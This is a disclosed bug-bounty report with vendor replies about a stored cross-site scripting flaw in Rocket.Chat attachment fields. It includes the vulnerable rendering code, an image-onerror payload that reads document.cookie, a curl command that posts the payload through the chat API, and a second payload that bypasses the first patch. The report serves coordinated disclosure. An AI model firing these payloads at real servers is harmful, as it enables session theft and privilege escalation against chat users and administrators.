15

XSS in message attachment fileds.

Share:

TIMELINE

fabianfreyer submitted a report to Rocket.Chat. Jun 16th (3 ye

> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easi is for us to verify and then potentially issue a bounty, so be sure to take your time filling out the report!

Summary: There is a Cross-Site Scripting vulnerability in the message attachment fields.

Description:

If no custom renderer is set, the `specializedRendering` function will render any HTML provided in the `value` field of the attachment:

Code 350 Bytes Wrap lines Copy Dow

```
specializedRendering({ hash: { field, message } }) {
    let html = '';
    if (field.type && renderers[field.type]) {
        html = Blaze.toHTMLWithData(Template[renderers[field.type]], { field, message });
    } else {
        // consider the value already formatted as html
        html = field.value;
    }
    return `<div class="${ field.type }">${ html }</div>`;
},
```

Releases Affected:

- Rocket.Chat up to 3.3.3

Steps To Reproduce (from initial installation to vulnerability):

1. Get an Personal Access Token.

2. Create a channel "#cookies"

3. Invite administrators into "#cookies", e.g. by promising them yummy cookies.

4. Put the following payload in a file, calling it `cookiesplz.json`:

   Code 433 Bytes Wrap lines Copy Dow

   ```
   {
       "channel": "#cookies",
       "text": "Hi, I'd like a cookie please",
       "attachments": [
           {
               "text": "ohai",
               "fields": [
                   {
                       "type": "hello from project pwner",
                        "title": "pwn",
                        "value": "test<img src=x onerror='alert(document.cookie);'/>",
                        "short": false
                    }
                ]
            }
        ]
    }
   ```

5. Run the following curl request: `curl -H "X-Auth-Token: <Token>" -H "X-User-Id: <user Id>" -H "Content-type:application/json" https://<server>/api/v1/chat.postMessage -d @cookiesplz.json`

Supporting Material/References:

- https://docs.rocket.chat/api/rest-api/methods/chat/postmessage#attachment-field-objects

Suggested mitigation

- Don't render verbatim HTML from user input.
- Mitigate XSS using CSP headers.

Impact

Using this vulnerability, an attacker can steal cookies of other users, including administrators to elevate their privileges. They can leak a user's messages, critically impacting confidentiality. An attack payload may also Exit or delete messages, potentially removing traces of exploits and critically impacting integrity and availab Finally, by escalating privileges, an attacker can restart the server and edit important settings, impacting availability. By using XSS execution, an attacker may sen payload to other users, i.e. this vulnerability is "wormable" on the same server.

In the electron client, this XSS can be used to get remote code execution.

markus-rocketchat posted a comment. Dec 9th (2 ye

Hi @fabianfreyer

we finally have a fix for it here: https://github.com/RocketChat/Rocket.Chat/pull/19817

if you have an opinion on it, we would be glad to hear your feedback

best
Markus

fabianfreyer posted a comment. Dec 10th (2 ye

The patch merged in https://github.com/RocketChat/Rocket.Chat/pull/19817 is insufficient. The following payload still leads to XSS:

Code 421 Bytes Wrap lines Copy Dow

```
{
    "channel": "#cookiesplz",
    "text": "Hi, I'd like a cookie please",
    "attachments": [
        {
            "text": "",
            "fields": [
                {
                    "type": "\"><img src=x onerror='alert(document.cookie);'/></div><div foo=\"",
                    "title": "",
                    "value": "",
                    "short": false
                }
            ]
        }
    ]
}
```

markus-rocketchat posted a comment. Dec 10th (2 ye

thank you. I passed it to the team

fabianfreyer posted a comment. Dec 11th (2 ye

Might I propose the attached patch to address this vulnerability? This does not rely on a potentially brittle RegExp-based custom HTML escaping function.

1 attachment:
F1113148: 0001-Fix-XSS-vulnerability-in-specialized-rendering.patch

markus-rocketchat posted a comment. Dec 11th (2 ye

Thanks a lot. We are discussing your suggestion

markus-rocketchat posted a comment. Dec 15th (2 ye

Hi @fabianfreyer

we have added another PR to the previous one: https://github.com/RocketChat/Rocket.Chat/pull/19854
but without creating elements. if you have any feedback, please let us know

thank you

fabianfreyer posted a comment. Dec 18th (2 ye

While I could at the moment not find a way to circumvent this check, I very much agree with the comment by user234461 on the StackOverflow answer that propo
the same escape function:

> Manually adding a random subset of encodable characters is likely storing up trouble for yourself and your colleagues down the line. There should be a single autl
> for which characters should be encoded, probably the browser or failing that a specific library that's likely to be comprehensive and maintained.

From my point of view, this can be closed.

markus-rocketchat closed the report and changed the status to ○ **Resolved**. Dec 18th (2 ye

Thanks a lot for the additional info. I passed it to the devs.

And many thanks again for the report to help making RC more secure.

Best
Markus

fabianfreyer requested to disclose this report. Dec 18th (2 ye

Wonderful. Will this make it into a Release? I saw that yesterday's 3.9.2 did not include these patches.

markus-rocketchat posted a comment. Dec 18th (2 ye

yes, release is currently being built

○ This report has been disclosed. Jan 17th (2 ye